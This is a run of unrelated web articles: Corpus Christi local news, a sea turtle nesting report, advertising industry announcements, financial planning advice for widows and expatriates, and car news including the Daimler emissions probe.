All participants were college students, but most didnt choose a team name that represented their school. Cooper said they could have chosen a creative or funny name as well, but in the end they decided to go with Team USU.

We felt like it would be a great opportunity to show off that we go Utah State and to show our Aggie pride, he said.

Rather than a simple race across Europe, teams were awarded points for things they accomplished. Points were awarded every time a team did something adventurous, had their posts shared on social media or arrived at one of the many checkpoints spread through the continent.

After a week of trading cans of energy drinks for food and transportation, each team had until 2 p.m. Tuesday to get to the Eiffel Tower in Paris. Cooper said with just three hours left they were only 30 minutes from the finish line. Many of the other teams were already done and relaxing, but Team USU was hard at work trying to get as many points as possible. They crossed the finish line at 1:55 p.m., just five minutes before they would have been disqualified.

Might as well end strong, Cooper said. It was better than just laying down underneath the Eiffel Tower. Yeah, its beautiful to see the Eiffel Tower, but it is nice knowing that we kept working hard until the end.

That effort was good enough for a first place finish in the adventure category.

We destroyed everyone in adventure, Cooper said. The first day we had already gone skydiving and surfing, the other teams were just trying to get out of the city.

With six hours remaining in the competition Cooper said his team was leading in the social media category as well, but another team leapfrogged them right before it ended. He gave credit to everyone back home for their help in sharing social media posts.

We had 250,000 social media shares, likes and comments  thats how much social media we were able to pull, he said. We had so much help from our families and our friends.

Cooper said traveling with no money was difficult, but they made it work. Most of it was done by train.

Wed wait for (the train conductor) to come by and wed say Hey, were not allowed to use money, were not allowed to use our phones. This is a competition, Cooper said. For the most part they were all pretty OK with it.

Nomaaea brought extra advantage to Team USU. He served an LDS mission in France, which not only helped him learn the geography of the country, but the language as well.

When we got into France, Veeko did wonders, Cooper said. Being able to speak that French language really helped us out. We could get through checkpoints a lot faster. We could go on the side of the road and we could talk to someone to ask for directions, we could find out the fastest way to get there.

Cooper said with exception to his own LDS mission, it was the most difficult thing he has ever done. He said the team tried to let everyone back home know that they were having a good time, but also that they were working hard to win.

We tried to do the most adventurous and crazy things we could, he said. You might as well while youre there and have good memories.
Andrew Mitchell/Caller-Times Residents say Beach Avenue would likely be the new North Beach gateway once the Harbor Bridge replacement is built.

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By Kirsten Crow of the Caller-Times

North Beach residents want to know how the Harbor Bridge replacement will affect their neighborhoods  and the experience of its biggest business, tourism.

Representatives from Flatiron/Dragados, the company that is designing and building the new bridge, met with the North Beach Community Association on Thursday night to discuss the project, including how some of the decisions related to the bridge configuration were made and an overview of revisions to original draft designs.

Residents raised a number of questions about the project, asking for details on traffic management, infrastructure improvements, and aesthetic enhancements for North Beach.

Some of the requests and concerns brought up by residents  such as infrastructure improvements to city streets  would likely need to be addressed by governmental entities, because the company is limited to the scope of the contract.

Twitter: @CallerCrow
GABE HERNANDEZ/CALLER-TIMES

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By Fares Sabawi of the Caller-Times

Corpus Christi police are gearing up to host six police officials from Colombia, who are touring the nation to learn about how American law enforcement agencies operate, Lt. Chris Hooper said.

The Colombian officers, expected to fly in Tuesday, have already visited Washington, D.C., Baltimore, Cincinnati, Louisville and Sacramento. Corpus Christi is the officials' final stop.

The tour was coordinated by the Department of State and the World Affairs Council of South Texas.

"The (State Department) wanted to expose them to the best practices here in the United States," Hooper said. "They're really focused on the police-citizen relationship in different cities."

This is the first time Corpus Christi police have been included in an international trip, Police Chief Mike Markle said. He said being sought out by the State Department shows his officers are doing things correctly.

"They're looking to Corpus Christi as a benchmark in how we interact with the community and how we do our business," Markle said. "It's a point of pride."

According to a news release from the World Affairs Council of South Texas, the themes Corpus Christi officers will address are best practices in local policing, drug enforcement and addressing human trafficking. The Colombian officers will participate in a ride-along with Corpus Christi police and meet with other area law enforcement agencies, too.

Anantha Babbili, chairman of the World Affairs Council of South Texas, said he expects the guests to leave Corpus Christi happy.

"No one has ever left this place without singing praises of how good the community is in Corpus Christi," Babbili said.
Contributed photo Motivational speaker Josh Shipp speaks to more than 650 people connected to the foster care system.

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By Krista M. Torralva of the Caller-Times

Joslin Benavidez has her biological mother, her foster mother and her case worker. Each one is a mom, she said.

"Every kid needs a supportive adult and I have so many," Benavidez said. "That's how I grew up and became the person I am."

Benavidez, a senior at Alice High School, is in the top 10 percent of her class and a National Honor Society member. Foster Angels of South Texas honored Benavidez and eight other youth Thursday at the organization's annual luncheon in the Congressman Solomon P. Ortiz International Center. The luncheon also honors more than 650 people who help abused and neglected children, Executive Director Jennifer Starr said.

Benavidez entered the foster care system when she was 15 years old. But years of bouncing from home to home started before then. The one constant after she was place in foster care was her caseworker, Michelle McKenna.

The two formed a bond beyond their scheduled monthly visits and McKenna recently paid for Benavidez's graduation photos as a gift.

"She's like a second mom," Benavidez said.

Foster children don't always have the same case worker from beginning to end. Alexandra Rivas, another honoree, had four case workers. Rivas said she wants to become a caseworker because she can relate to what the children in foster care experience.

"When a case worker says, 'I know how you feel,' and a kid says, 'No you don't,' I can say, 'Yes, I do,'" Rivas said.

Children in foster care want to know they aren't alone, said Aliya Enriquez, who was also honored. As she sat around a table with other foster children, Enriquez said she identified with the guest speaker, Josh Shipp, who grew up in the foster care system and is now a motivational speaker and teen advocate. Enriquez said adults who were formerly in foster care should speak to foster care children more often. As she is preparing to age out of the system, Enriquez said she wants to speak to foster care youth about her experience.

"We feel like we are alone and that's something that should not be a common feeling," Enriquez said. "We all were able connect with something (Shipp) said."

Twitter: @CallerKMT
SHARE DAVID SIKES/CALLER-TIMES Donna Shaver (left) said she is disappointed in the recent downturn in nesting numbers for the Kemp's ridley sea turtle. Shaver, as chief of the Division of Sea Turtle Science and Recovery for the National Park Service, has been involved since 1978 in an effort to establish a Kemp's nesting colony on Padre Island National Seashore. DAVID SIKES/CALLER-TIMES Donna Shaver (left) said she is disappointed in the recent downturn in nesting numbers for the Kemp's ridley sea turtle. Shaver, as chief of the Division of Sea Turtle Science and Recovery for the National Park Service, has been involved since 1978 in an effort to establish a Kemp's nesting colony on Padre Island National Seashore.

By David Sikes of the Caller-Times

The critically endangered Kemp's ridley sea turtle may be worse off than previously believed going into what could be another disappointing nesting season, based on recent declines.

Since the 2010 BP Oil Spill, nesting numbers for Kemp's ridleys gulf wide and in Texas have staggered somewhat, punctuated by a marked decline since 2013. Before the spill, nesting numbers had been increasing steadily since its lowest point in 1985, when only 702 nests were recorded, representing about 300 nesting females.

Since nesting season began last month, local turtle patrollers have recorded a single Kemp's ridley nest on Padre Island National Seashore, said Donna Shaver, chief of the National Park Service's Division of Sea Turtle Science and Recovery. An effort to establish a nesting beach on Padre Island has been ongoing since 1978. Shaver said she is concerned about the downturn and suggested the cause could be complex.

"After the hard work of so many people in Mexico and the U.S. it has been very disappointing to see this unexpected change in the trajectory for the species," Shaver wrote in an email to the Caller-Times. "It will be important to continue monitoring nest numbers for many years and protect the nesting turtles and nests that we do find."

According to estimates by a group of state and federal trustees responsible for studying the effects of the spill, Kemp's ridley deaths since the explosion off the Louisiana coast could total between 38,000-90,000 large and small juvenile turtles and adults.

If hatchlings and potential hatchlings are added to the death estimates this number could double, according to the Deepwater Horizon Natural Resource Damage Assessment. Unrealized or potential hatchlings are baby sea turtles that would have been produced by the estimated number of breeding-age turtles killed, said Gretchen Hirt, a spokeswoman for the Ocean Conservancy.

Meanwhile, researchers at the University of Alabama at Birmingham, led by biology professor Thane Wibbels and doctoral student Elizabeth Bevan, believe they have a more accurate and substantially higher estimate for the Kemp's historic population size. Their findings, published last month in the journal Ecosphere, effectively re-establishes this benchmark by examining a film showing thousands of nesting turtles. Wibbels believes the 16mm film was shot before the species began spiraling toward extinction.

Anyone acutely familiar with the plight of the Kemp's ridley, which was declared endangered in 1970, is aware of a grainy 1947 film depicting a crowded turtle-nesting beach in Tamaulipas, Mexico. For decades the famous footage shot by a Mexican sportsman named Andres Herrera has been used as a benchmark comparison to today's pitiful state of the world's smallest and most endangered sea turtle.

Herrera captured 5-10 minutes of a mass nesting event called an arribada at Playa de Rancho Nuevo, on the Gulf of Mexico. But because Herrera was not a scientist the scientific community did not see it until 1961 when Henry Hildebrand, a professor at the University of Corpus Christi, viewed it and then showed it at a meeting in Austin of the American Society of Ichthyologists and Herpetologists, revealing it to the scientific community for the first time.

Hildebrand estimated that about 10,000 turtles at a time were on the beach, but that about 40,000 nested throughout that day. And until recently this was widely accepted.

In essence, Wibbels said this provided scientists a basis or rough idea of how many Kemp's should be in the gulf. Except for the film, no other population data existed between 1880 when the species was discovered and 1978 when recovery efforts began.

Wibbels said Hildebrand's notes, calculations and estimates were remarkably accurate based on what he knew at the time. Much more is known today about the Kemp's ridley's nesting habits and trends, which Wibbels and Bevan applied to reach their estimates and conclusions.

Through sophisticated digital technology, Wibbels and Bevan analyzed the footage and estimated nearly 27,000 sea turtles deposited eggs during a single day along a 1-2-mile stretch of beach at Rancho Nuevo. The Alabama researchers further extrapolated that between 120,000-180,000 nests were laid during the entire 1947 nesting season by about 48,600 female Kemp's. Individual females tend to nest every other year, Shaver said.

Last year, Kemp's ridleys deposited eggs in about 14,000 nests at Rancho Nuevo. Another 159 nests were found on Texas beaches, mostly along Padre Island National Seashore. Combined, this nesting total represents a 34 percent decline compared to the 2009 gulf wide total of about 21,300.

Wibbels and his research team believe the Kemp's population has plummeted by 90 percent since 1947 or that today's population is roughly 10 percent of what existed in 1947. That's actually an improvement compared to the species' lowest point in 1985.

Wibbels suggested changes in the Gulf of Mexico may have rendered it incapable of supporting historic numbers of sea turtles. Shaver said possible causes for the recent downturn, other than or connected to the oil spill, could include lower birthrates, health issues, climate change, pollution, reduced food sources, impacts from reduced freshwater inflows, deadly cold winters or a combination of factors.

Researchers in Mexico and the United States estimated earlier that if population growth continued at the previous rate the Kemp's ridley could reach 40,000 nesting females per season worldwide in fewer than 10 years. To be removed from the endangered list, this number must be maintained each season for six consecutive years, according to the U.S. Fish & Wildlife Service. At the previous growth rate before the BP spill, the species was on track to be downgraded to threatened as early as 2030, Shaver said in 2012, which was a record nesting season gulf wide and on the National Seashore.

This recovery projection could be obsolete because of the recent nesting decline, Shaver said.

"Unfortunately, nesting trends did not continue on the trajectory predicted by population modelers and in the Kemp's Ridley Recovery Plan," she said. "Future nesting trends are uncertain, but based on the numbers of nests recorded from 2010 through 2015, it may not possible to down list the species to threatened within that time frame."

Twitter: @DavidOutdoors
Contributed photo Port of Corpus Christi, Harbor Bridge, SEA District.

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By Julie Garcia of the Caller-Times

The security contract for the Port of Corpus Christi Authority has been awarded to Sec-Ops Inc., a company that provides security personnel, integrated security solutions and emergency management services.

The contract, which was evaluated and recommended by the Port of Corpus Evaluation Committee, will commence Oct. 1. The Port Security Committee reviewed the Corpus Christi company's bid and agreed with the recommendation, a release stated.

The one-year year contract will cost an estimated $1,219,000. Provisions of the contract include unarmed security services to the port.

At the end of the year, the port will evaluate Sec-Ops' performance to determine a contract extension, the release stated.

Twitter: @Caller_Jules
MullenLowe Lintas Group snagged eight awards, along with Agency of the Year honours. Colenso BBDO/Proximity claimed second place, with three agencies tied for third place: BBDO India, Barnes Catmur & Friends Dentsu, and Ogilvy & Mather Mumbai.

The awards gala at Intercontinental Hotel Singapore, celebrated Asia Pacifics most effective marketing campaigns and was attended by some 200 industry professionals. A total of 66 Effies were awarded: 1 Grand Effie, 12 golds, 21 silvers and 32 bronzes.

On the network level, BBDO Worldwide took the lead, with a total haul of 17 awards, including the Grand Effie, followed by Ogilvy & Mather and MullenLowe Group coming in the second and third position respectively.

Cheuk Chiang, chairman of the 2016 APAC Effie Awards expressed his congratulations to all the winners, calling it a massive acknowledgement.

To get here having gone through two rigorous rounds of judging by a stellar team of industry professionals is a significant and incredible achievement and indeed something to be proud of, he said. These winning cases represent the best in Asia Pacific and I hope they only serve to inspire the industry further in producing great work that drive real business results.

Two new special awards were added this year: Brand of the Year and Marketer of the Year, which aim to recognise the joint efforts and close collaboration between clients and agencies to produce successful work. The awards were presented to Ariel Matic and Procter & Gamble, respectively, with their 'Share the load' for Ariel being the 'best of show' for the night, clinching the Grand Effie, a gold and a silver. The special awards were based on points awarded to all winners and finalists.

As with the previous year, India remains the strongest market in the region in terms of effectiveness, contributing the highest number of award winners last night, followed by New Zealand and Australia.

The APAC Effie Awards are organised by the Confederation of Asian Advertising Agency Associations (CAAAA) and Tenasia Group.

Winners and finalists will contribute points toward the ranking on the 2016 Effie Effectiveness Index, the global ranking that identifies and ranks the most effective marketers and brands by analysing finalist and winner data from worldwide Effie competitions.

APAC Effie Awards 2016 Winners (Results by Award)

Brand of the Year: Ariel Matic

Marketer of the Year: Procter & Gamble

Agency of the Year: MullenLowe Lintas Group, India

Agency Network of the Year: BBDO Worldwide


The reason for the change is that we need a business transformation," Takaki Hibino, CEO of Dentsu Branded Agencies and Dentsu Media Asia Pacific, told Campaign Asia-Pacific. "The business in China is growing very fast. Baba will help drive the digital business as well.

Baba will be focused on breaking down silos that exist within Beijing Dentsu, Hibino added.

Beijing Dentsu has relied more on Japanese clients in the past, but through Babas leadership will aim to increase revenue from non-Japanese clients, including both Chinese clients and multinationals, Hibino said.

Baba brings 30 years of experience to the job. In May 2003 he was appointed as CEO of then newly established agency Dentsu Media Thailand. Baba went on to develop it into one of the largest agencies in the market.

In 2013, Baba was also appointed as the representative officer of Dentsu in the London office and worked on the post-merger integration of Dentsu Aegis Network.

He is concurrently global president of Dentsu media and managing director of the global business center of Dentsu Inc. Dentsu Aegis Network will announce a replacement for the global president of Dentsu Media in due course.

Baba sees his appointment as a significant milestone. I will be looking to support the incredible talent we have in the Beijing Dentsu," he said. "And working with the leadership team at Dentsu Aegis Network China to hit our ambitious targets for the agency,

Motohiro Yamagishi, CEO of Dentsu Aegis Network China, said Baba has been an outstanding performer for many years and that his appointment was an easy choice for this significant role in the business.
| BY Ricki Green |

New York Festivals International Advertising Awards has announced its partnership with New York Women in Communications Inc., The Content Council, Weber Shandwick and Miami Ad School for the 2016 New York Show Creative Panel Sessions.

New York Festivals and the 2016 partners will present a powerhouse of creative panels that will explore campaigns thatintentionally or notgot people talking about more than the brand. This year, these four dynamic organizations will provide session attendees with insights into the ever evolving world of creative communications. All creative panel sessions will be held on Thursday May 19th at the NYIT Auditorium on Broadway, 1871 Broadway, between 61st & 62nd Street.

2016s New York Show creative panel sessions:

10:00am-11:00am

New York Women In Communications Presents Content Disruption.

Consumers today are in control and they are savvier than ever. To meet their increasingly demanding preferences, marketers have broken through the bonds of traditional advertising, and storytelling is now the thread that runs through everything. So how do brands develop content that breaks through?

This panel will discuss not only what it takes to break through but how brands can, when they get it right, even drive the cultural conversation.

Panelists:

Beth Collins Ellard, Executive Vice President, Media  The Advertising Council, NY

Maya Draisin, Associate Publisher & Head of Marketing  WIRED, NY

More panelists to be announced soon.

Moderated by Georgia Galanoudis, Managing Director  Imprint, NY

11:30am-12:30pm

The Content Council Presents Is Content Marketing the Only Marketing Left?

Create a movement and inspire a tribe of people to believe. Thats when content marketing is at its best. Sure you can use content to educate, but how do you inspire people to action? How can you make a brand stand for something bigger than a product or service?

Join The Content Council, the premier non-profit organization representing content marketers globally, for a lively discussion on using storytelling for a greater purpose.

Panelists:

Jacquie Loch, Vice President Content Solutions  St. Joseph Communications Media Group, Canada

Andy Seibert, Chairman  Managing Partner  Imprint, NY / Chairman  The Content Council, NY

Rachel Jo Silver, Founder  Love Stories TV, NY

Beth Tomkiw, Chief Content Officer  Manifest, Chicago

Moderated by Lori Greene, Founder  LPG Enterprises, NY

1:30pm-2:30pm

Weber Shandwick Presents Pushing Buttonsand Cultural Boundaries.

Advertising has typically reflected a cultural status quo, offering scenarios that represent the friendly and familiar. But what happens when the taboo or controversial is presented?

As more brands become socially conscious and inclusionary of non-traditional lifestylesand recognize those who live them as a growing and often underrepresented demographicwere seeing the emergence of a new definition of normal. Whether LGBTQ couples or biracial families to presenting topics which touch a political nerve, more brands and organizations are sparking conversations.

This panel will shine a light on campaigns that intentionally courted conversation by including groups or topics normally excluded from mainstream messaging while purposefully leaning into unchartered territories to elevate the holy trinity of paid, owned and earned integrated campaigns. How will advertising be more culturally relevant and react faster to cultural shifts in an always-on world evolves?

Panelists:

John Mescall, Global Executive Creative Director  McCann Worldgroup

Gary Osifchin, Vice President, Brand Equity, Global Biscuits  Mondelez International

Josy Paul, Chairman & Chief Creative Officer  BBDO India

Jenna Young, Executive Creative Director  Weber Shandwick, NY

Moderated by Michael Schiferl, Executive Vice President  Weber Shandwick

2:30pm-4:00pm

Miami Ad School Presents Beyond Your Portfolio: Get people talking about you.

Agencies hire people, not portfolios. This workshop will take a look at some of the things young creatives did that challenged societys entrenched beliefs and attitudes, and explore what you need to do to get people talking about you!

Panelists:

Raj Ramamurthy, Art Director  Ogilvy and Mather, NY

Jessica Shriftman, Art Director  Wieden + Kennedy, NY

Nick Smatt, Account Planner  BBDO, NY

Facilitated by Pippa Seichrist, Cofounder, Head of Innovation & Development  Miami Ad School

The 2016 New York Show events will be on May 19th and feature four creative panel sessions, a cocktail reception, the awards ceremony, and an after-party. New York Festivals will welcome award winners, jury members and guests from around the globe to this day long series of events honoring the Worlds Best Advertising.

To purchase tickets, click here.

The four creative panel sessions will take place during the day at the NYIT Auditorium on Broadway, located at 1871 Broadway (btw 61st & 62nd St).

Later that evening, guests from around the world will then join us for our Gala event at Jazz at Lincoln Centers Frederick P. Rose Hall, Broadway at 60th Street, New York City, for a cocktail reception in the Ertegun Atrium, followed by the awards ceremony in Rose Theater.

A celebratory after-party will be held at Parkview Lounge, on the 4th floor of Time Warner Center, to toast all the winners of the Worlds Best Advertising.
| BY Ricki Green |

FCB New Zealand has unveiled a ground-breaking project, DEFY, for Sony Australia New Zealand, launching the new Extra Bass SRS-XB3 wireless speaker. At the heart of the campaign is Macy Baez, a 15-year-old hip-hop dancer who was born profoundly deaf.

The collaboration with the young dancer features a hip-hop/electro track specifically designed for her, so she can literally feel the music, powered by Sonys new speakers.

Says Tony Clewett, executive creative director, FCB: We were looking for an authentic way for Sony to launch the new Extra Bass range. In walked Macy Baez  a dancer, born profoundly deaf, who literally feels the music. Search over.

Baez is able to experience sound with the aid of cochlear implants, but relies heavily on being able to feel music vibrations, particularly bass notes, in order to dance. With this in mind, FCB and Sony enlisted the skills of Josh Fountain from Level Two Music in Auckland, New Zealand, to compose a track specifically for Baez.

Strong bass notes throughout the track enable Baez to feel vibrations that have helped her to choreograph a 90-second dance to the beat.

Supporting the hero video are online videos created by FCB, including behind the scenes content, the background story of Baez and a surprise meeting for Baez with her number one idol, celebrity choreographer Parris Goebel. The campaign will also be supported in-store with point of sale material in New Zealand and Australia.

Says Abel Makhraz, head of video and sound, Sony Australia New Zealand: Macy is incredibly talented and an inspirational young woman. Weve enjoyed working with FCB on this campaign, from the initial creative concept, through to the production and amplification. Its been an integrated collaboration that were very proud of.

Regional Executive Creative Director: James Mok

Executive Creative Director: Tony Clewett

Creative Services Director: Jenni Doubleday

Senior Creative Lead: Kelly Lovelock

Creative: Melina Fiolitakis

Senior Creative: David Shirley

Head of Craft: Nick Smith

Retoucher: Scott Kelly

Studio Director: Simon Pengelly

Head of Content | Exec Producer: Pip Mayne

Photography / Director Social Videos: Mike Braid

Group Account Director & New Business Director: Toby Sellers

Account Director: Hannah Downes

Account Manager: Laura Little

Head of Strategy: Rufus Chuter

Digital Strategy Director: Dan West

Digital Media Director: Kate Grigg

Digital Media Buyer: Kate Kennedy

Senior Account Director, PR, Activation & Social: Joanna James

Senior Account Manager, PR: Laura Platts (Douglas)

Account Executive, PR: Violet Hong

Social Content: Mark Cameron and Kate MacDonald

Client: Sony New Zealand and Australia

Product: SRS-XB3

Client Name: Sam Williams

Production Company: Flying Fish

Production Company Director: James Solomon

Production Company Producer: Sam Attenborough

Production Company DOP: Marty Williams

Production Company Editor: Fiona Hayden

Original Music Composition: Level Two Music

Composer: Josh Fountain
I'm having lunch with Bale at the Fax Bar of the Radisson Blu in the city. He has only an hour to spare on a business trip from him home in Canberra. Bale, boy scout-handsome and militarily neat, says his great-grandfather fought in the First World War and was wounded at Fromelles during the 14 hours of slaughter that has been called the worst day in Australia's military history. This year marks the centenary of Fromelles but, says Bale, "I just don't think that is going to get the same focus as Gallipoli, because you have a whole country that's starting to get into commemoration fatigue. People can see it already with the Gallipoli mini-series that completely failed. And that then creates a big problem for Soldier On and my cohort of veterans and those before us: if the community gets commemoration fatigue, they're not going to support my generation either."
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Our Promise: Welcome to Care2, the world's largest community for good. Here, you'll find over 45 million like-minded people working towards progress, kindness, and lasting impact.

Care2 Stands Against: bigots, racists, bullies, science deniers, misogynists, gun lobbyists, xenophobes, the willfully ignorant, animal abusers, frackers, and other mean people. If you find yourself aligning with any of those folks, you can move along, nothing to see here.

Care2 Stands With: humanitarians, animal lovers, feminists, rabble-rousers, nature-buffs, creatives, the naturally curious, and people who really love to do the right thing.

You are our people. You Care. We Care2.
UPSC aspirants in Maharashtra will be awarded with government scholarships worth Rs 10,000. This is a resolution passed by the Maharashtra government to encourage youth to join the civil services.

To avail the benefits of this scholarship, candidates should have cleared the UPSC preliminary examination within the period of last 3 years. This resolution was passed by the Maharashtra government on April 16, 2016.

The government will spend Rs 23.46 crore for this initiative, which includes cost of training at reputed institutes in Delhi.

Details of the scholarship:

The scholarship will given to candidates appearing for the UPSC Main exams and it will continue till the interview process.

Along with the scholarship, candidates will also be given free coaching in New Delhi.

[Also read: Civil Services Coaching Centres]

Benefits of the scholarship:

Candidates will get a monthly stipend on Rs 10,000

Candidates will be trained in New Delhi to appear for the main examination.

Eligibility:

Candidates residing in Maharashtra with an annual income of less than 1 lakh per annum are eligible for the scholarship.

Candidates will have to return the scholarship amount if they fail to attend the UPSC exam.

"We are not just looking at financial assistance but also intending to tie up with reputed private educational institutions to ensure that the scholars we choose can gain entry into these places easily. These institutions will help train our scholars for all the three examinations," said a state government official.

This scholarship, the State government said, would be released in three phases. "One would be before the preliminary exam, the other before the main exam and the third before the final interview. If a student fails in any of these, the scholarship will be discontinued and will be resumed only the following year, before the exam," said a State government official.
The loss of your spouse can be extremely devastating. Not only have you lost your best friend and life partner but you also now face the monumental task of dealing with many important financial decisions. Where do you begin? How do you make the best decisions especially if your spouse took care of the finances? Here are seven things to be mindful of:

Not being gentle with yourself

You are going through one of the most difficult and traumatic times of your life. Be gentle with yourself and take the time to heal. The feelings you may be experiencing can see overwhelming at times. Try to be mindful of taking care of yourself by getting enough rest and eating properly.

Making big financial decisions too soon

Making a major financial decision that is emotionally based is never a good idea. For example, it may appear that selling your home makes sense. However, these types of decisions could be a mistake both emotionally as well as financially. We recommend not making any major financial decisions in the first year and not before speaking with a CERTIFIED FINANCIAL PLANNER PRACTITIONER (CFP) that is familiar with your situation.

Working with professionals that do not have experience with those that have lost a spouse

Even if you have taken care of the family finances in the past, when you lose your spouse there are many decisions that need to be made and, without proper training and experience, mistakes can be made. Some of these may not only be irreversible but also come with negative tax implications. We recommend working with a CERTIFIED FINANCIAL PLANNER PRACTITIONER (CFP) who has experience working with those who lost a loved one. CFP practitioners are considered the gold standard in the financial planning field.

Not reaching out to a therapist, grief counselor, or support group

Losing a loved one is devastating. Seeking the help of a professional can be extremely beneficial even if you think you are doing okay. This is especially true if you are experiencing negative thoughts that could cause harm to yourself.

Suppressing your feelings

To weep is to make less the depth of grief - William Shakespeare. If you feel like crying, cry. If you feel angry, be angry. If you are having trouble expressing these emotions, #4 can be even more important.

Not being patient with yourself

People grieve at different levels and speed. Dont listen to others that tell you that you should be over feeling what you are feeling or those who know what you are feeling. The loss of a loved one is different for everyone. Give yourself some time to heal.

Taking financial, legal or tax advice from a non-professional

Your friends and family care about you. However, the financial decisions you need to make are very different when you lose a spouse. You need a professional that has not only experience working in this area but also the compassion and patience to help get you through this difficult time.

___________________________________________________________________

Financial Planning Association of Massachusetts member Rick Fingerman is a Managing Partner of Financial Planning Solutions, LLC in Newton MA. Financial Planning Solutions, LLC is a fee-based asset management and financial planning firm focused on helping clients create their ideal tomorrow while living well today.



Rick Fingerman is an investment adviser representative of Financial Planning Solutions, LLC., a registered investment adviser located in the Commonwealth of Massachusetts. The material contained in this article is for general information only and should not be construed as the rendering of personalized investment, legal, accounting, or tax advice.
Even though the Ghost is capable of accelerating from 0 to 100 Km/h (62mph) in well under 5sec, thanks to its 592 HP V12, the model still got associated with an elephant. And not because of its 2.5-ton weight.



The latest limited-edition automobile from the Goodwood-based car maker takes inspiration from Thailands most revered icon, the elephant  representing a unique commemoration of Thai culture and heritage.

Named the KoChaMongKol Ghost Extended Wheelbase, the vehicles English White exterior represents a perfect canvas for the bespoke black and orange Mandarin pinstripe, complemented by the elephant motif detailing.

The exotic animal was used as the main decoration figure because it has played a significant role in Thai society throughout the ages, as a symbol of prosperity and good fortune.

The same theme is carried over into the interior as well, creating an inviting sanctuary of stylish luxury  according to Rolls Royce itself. The Smoke Grey leather backdrops the Mandarin seat piping, the headrest embroidery, and the woodgrain, while the elephant motif can be found throughout the cabin.

Needless to say, the vehicles attention to detail is mind-boggling, but after spoiling us with limited editions after limited editions, Rolls-Royce has to come up with something even more special to get our blood flowing again.

PHOTO GALLERY
Daimler has begun conducting an internal investigation regarding its diesel exhaust emissions in the US, at the request of the Department of Justice.



This comes on the heels of a lawsuit filed by US Mercedes owners back in February, in which they claimed that the German automakers diesel cars didnt respect their own emissions standards.

According to Autonews, the claim states that Mercedes BlueTEC models carried a defeat device, much like the one that destroyed VWs image in the US as far as their diesel cars were concerned, and that nitrogen oxide emissions were far higher during all road tests than they were during laboratory tests.

Of course, Daimler responded by saying that the lawsuit was without merit adding that theyll be cooperating fully with the authorities.

While its unclear what started this new investigation, Evercore ISI analyst Arndt Ellinghorst said that it could be related to certein accusations from Europe which state that Mercedes is using auxiliary emission control devices (AECD) in order to improve fuel efficiency on their cars.

In our view, these AECDs are not cheat devices and each modern car has those as part of its engine management software, said Ellinghorst. However, these AECDs need to be declared when certifying engines. There might have been an issue in the U.S. certification process.

Unlike with VW, the US DoJ seems to be working alone now, which comes as a surprise to the Evercore ISI analyst.

There might have been an issue in the US certification process but again, surprising to us that the DOJ is stepping ahead without mentioning the EPA or CARB in our view, he stated.

PHOTO GALLERY


Receiving an offer for a job overseas can be both exciting and stressful. While the prospect of living in a different country, traveling and experiencing a new culture may be intriguing, the practical decisions to be made to accommodate the lifestyle of an expatriate may be overwhelming. According to CNBC, over seven million Americans make the choice to move overseas for a job; below are the financial considerations all of them have had to make prior to the move.

Taxes

The United States is the only country that requires its citizens to pay taxes on worldwide income. Any citizen or resident alien who earns over $9,000 in the U.S. or overseas must file a tax return with the IRS. Furthermore, certain states may also require Americans to file a tax return. In addition, expats have to comply with the tax laws in the country they are working in. However, there are treaties in place with many foreign countries, as well as the US Foreign Earned Income Exclusion (FEIE), which can offset double taxation by lowering or possibly eliminating taxes from overseas income. If a U.S. employer is sending you to work abroad, the organization can financially help to pay taxes through a tax equalization program. Consult your employers HR department to see what assistance may be provided.

Investments

Working outside the U.S. may impact your old investments and affect your ability to make new ones. In light of strict regulations by the U.S. government, some financial firms will not allow Americans to maintain ownership of accounts held at the firm while residing abroad. Review your individual checking and savings, retirement and brokerage accounts, as the rules and regulations for each may vary. The complexities have also led many international financial institutions to deny service to Americans living abroad. This can create significant issues for expats who dont have access to their U.S. based accounts, and are unable to open new ones in their host country. The international banks that do allow Americans to open accounts might require specific documentation, such as proof of employment and income. Americans with a foreign financial account holding an aggregate balance of $10,000 or more annually will need to submit a Foreign Bank Account Report (FBAR) to the IRS.

College Planning

Parents who have a 529 college savings plan may be taxed on investment gains while residing in a host country. Check with your financial advisor about the possibility of transferring the account to a U.S.-based family member, if permitted by the plan, to avoid paying overseas taxes on the account while living abroad. Moving overseas can also affect state resident status that universities require to be eligible for lower in-state tuition. While most allow families that keep a residence in the state and pay state taxes to maintain the status, the qualifications can vary by institution.

Real Estate

For those that own real estate on American soil, a decision must be made whether to sell or convert it into rental property. The decision will ultimately depend on a number of factors, such as the current housing market, estimated time living overseas, current equity needed, and whether the expat is open to being a cross-border landlord. Often, for simplicity, Americans choose to sell if they are able to get a return on their investment. The decision to rent the home should also involve a cash flow analysis to ensure the move will be profitable after factoring in market rents, expenses, maintenance, and so on. Managing a property while overseas can be challenging and time-consuming, so if you decide that its more advantageous to rent the property out, consider hiring a management company. Should you choose to sell the property after conversion, you will likely lose favorable tax treatment that would have applied when it was your primary residence.

As to whether you should purchase or rent a house in your host country, additional considerations should be made. If you are new to the country you have moved to, consider renting temporary housing while deciding what area will be most advantageous for you to live in, considering your commute to work and financial restrictions. If you choose to purchase property, keep in mind that many countries have very different real estate transactions that those you might be used to. In addition, the funds transferred over for a down payment may be subject to foreign-exchange rate fluctuations and other associated fees, which can add up to thousands of dollars. Although expats who purchase property abroad may be able to deduct mortgage points and interest from the income reported to the IRS, any capital gain from the eventual sale of the property may be taxed by both the U.S. and the host country.

While it may be overwhelming to plan for the move abroad, special attention needs to be paid to financial matters. Consider tax, real estate and investment implications that may play a big role in your financial future in your host country. Working with a financial advisor and tax professional familiar with the complexities of working overseas will help ensure a smooth transition.

____________________________________________________________________

Financial Planning Association of Massachusetts member Kristin McFarland is the Director of Strategic Partnerships with The Darrow Company in Boston. The Darrow Company is a fee-only asset management and financial advisory firm focused on building and preserving the wealth for their diverse client base.

Kristin McFarland is an investment adviser representative of The Darrow Company, Inc., an SEC registered investment adviser located in Massachusetts. The material contained in this article is for general information only and should not be construed as the rendering of personalized investment, legal, accounting, or tax advice.




If you want a capable car that can cope very well in off-roading conditions, as unlikely as it may sound, the Ford Model T seems like a good candidate.



If you wait long enough, everything comes back in style, and even though the Model Ts looks wont probably (ever) make a comeback in the modern era of motoring, its mechanical capabilities undoubtedly can reteach car makers one or two things (about chassis flexing, at least).

Pitted against a ramp travel index (RTI)  a contraption created in order to measure and compare suspension flex and chassis limits  the 100-year-old automobile managed to hold its own, surprising everyone with its capabilities.

